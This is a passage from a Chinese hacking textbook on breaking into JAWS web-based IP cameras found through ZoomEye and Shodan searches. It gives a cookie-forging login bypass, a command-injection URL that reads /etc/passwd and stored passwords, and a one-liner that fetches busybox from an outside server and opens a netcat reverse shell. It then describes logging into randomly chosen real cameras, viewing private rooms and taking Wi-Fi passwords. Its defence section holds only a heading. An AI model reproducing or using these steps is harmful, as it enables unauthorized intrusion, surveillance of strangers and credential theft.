7.3 使用ZoomEye渗透网络摄像头

网络摄像头(IP Camera)在日常生活中越来越普及,常用于交通路口抓取车牌号码、公共场所安全监控、停车场车牌号码识别等。这些摄像头会与计算机或者摄像机等硬件设备连接,以便进行图像的存储和回访。现在很多摄像头直接与网络连接,以方便用户通过浏览器或客户端进行连接、管理和查看。原本使用摄像头的目的是方便查看,但由于一些厂商对安全的重视程度不够,致使黑客通过技术手段可以方便地对存在漏洞的网络摄像头进行控制,在有些情况下,还可以获取网络摄像头所在服务器的权限,甚至渗透该摄像头所在的网络,危害非常大。

7.3.1 摄像头常见漏洞分析

Andrew Tierney在其博客上公布了一篇有关摄像头漏洞利用的文章(https://www. pentestpartners.com/blog/pwning-cctv-cameras/),文章的核心内容归纳如下。

1.弱口令漏洞

多款网络摄像头都发现了弱口令漏洞,举例如下。

2.登录密码绕过漏洞

对之前使用默认密码成功登录的页面进行抓包,找到处理页面登录逻辑的JS代码。对处理页面登录的逻辑进行分析,发现存在登录绕过漏洞,代码如下。

$(document).ready(function(){ 
 dvr_camcnt = Cookies.get("dvr_camcnt"); 
 iSetAble = Cookies.get("iSetAble"); 
 iPlayBack = Cookies.get("iPlayBack"); 
 dvr_usr = Cookies.get("dvr_usr"); 
 dvr_pwd = Cookies.get("dvr_pwd"); 
 if(iSetAble == '0'){ 
  $('#pb_settings').css('display','none'); 
  } 
 if(iPlayBack == '0'){ 
  $('#pb_review').css('display','none'); 
  } 
 if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null) 
 { 
  location.href = "/index.html"; 
 } 

系统管理页面直接通过JS程序检查cookie是否为空来判断用户是否已经登录——现在竟然还有程序员这样编写判断登录状态的代码,安全性实在太低了。因此,通过伪造cookie便可以绕过登录检查。通过代码可以看出,需要伪造3个cookie值,分别是dvr_camcnt、dvr_usr=admin和dvr_pwd=123。

直接打开http://xx.xx.xx.xx/view2.html页面并抓包,发现系统会自动设置该cookie参数的值。需要把这个值记录下来,否则后面填错的话是看不到监控内容的。

dvr_usr和dvr_pwd可以随便设置,只要不为空就好,如图7-13所示。保存后,刷新页面http://xx.xx.xx.xx/view2.html,便可以成功登录系统。

0262-1

图7-13 密码绕过漏洞

3.直接获取WebShell及其root密码

直接访问页面http://www.antian365.com/shell?cat/etc/passwd,即可获取服务器root账号的密码,如图7-14所示。该root账号的密码密文为“a03e3thxwWU0g”,经破解,其明文为“juantech”。

0263-1

图7-14 获取WebShell

4.获取反弹Shell

执行以下命令,将反弹Shell至122.115.47.39的8000端口。

cd /root/rec/a1 && wget http://212.111.43.161/busybox &&chmod +x 
busybox&& ./busybox  nc 122.115.47.39 8000 -e /bin/sh -e /bin/sh 

还可以执行命令“http://www.antian365.com/shell?/usr/sbin/telnetd -l/bin/sh -p 25”,通过远程登录目标IP地址的方法直接进入系统。

7.3.2 实战演练

通过7.3.1节的漏洞分析,我们可以对存在漏洞的网络摄像头进行实际漏洞测试,以验证漏洞的真实性,并掌握漏洞的利用方法。

1.确定网络摄像头的关键字

在Kali Linux中打开banner-grab,填写设备的IP地址和Web端口号,抓取结果如图7-15所示,其中关键字为“Server”后的字符串“JAWS”。

0263-2

图7-15 获取关键字

2.快速获取存在的目标服务器

可以使用ZoomEye进行检索,输入地址“https://www.zoomeye.org/search?q=JAWS”直接进行查询。也可以使用Shodan进行检索(https://www.shodan.io/search?query= JAWS%2F1.0)。

如图7-16所示,ZoomEye耗时0.096秒,获取了37726条结果,找到了34263台主机。

0264-1

图7-16 检索关键字“JAWS”

3.随机对目标进行访问

在检索结果中随机访问。打开主机http://223.255.146.74/,输入用户名“admin”,密码为空,直接登录系统,如图7-17所示, 可以查看被监控房间的画面。

0264-2

图7-17 获得访问权限

4.直接获取访问密码

使用命令“shell?cat%20/tmp/usrm.ini”可以直接获取访问密码。访问http:// 210.21.34.206/shell?cat%20/tmp/usrm.ini,可以知道默认管理员密码为空,如图7-18所示。将默认密码进行修改,然后重新访问,其密码已经被明文写入/tmp/usrm.ini文件,如图7-19所示。

0264-3

图7-18 直接获取管理员密码

0264-4

图7-19 修改后的密码以明文保存

5.获取无线网络的密码

在该网络摄像头的“设置”页面可以直接获取其无线AP的名称及密码,如图7-20所示。

0265-1

图7-20 获取无线AP的名称及密码

6.反弹Shell测试

对部分目标进行了反弹Shell测试,结果均成功。可能是因为没有写权限,所以下载的http://212.111.43.161/busybox文件约为100MB。

7.3.3 防范措施及建议

目前网上已经出现利用该漏洞的恶意程序,而官方尚未发布相应的补丁。用户可采取以下措施对设备进行加固。

参考文章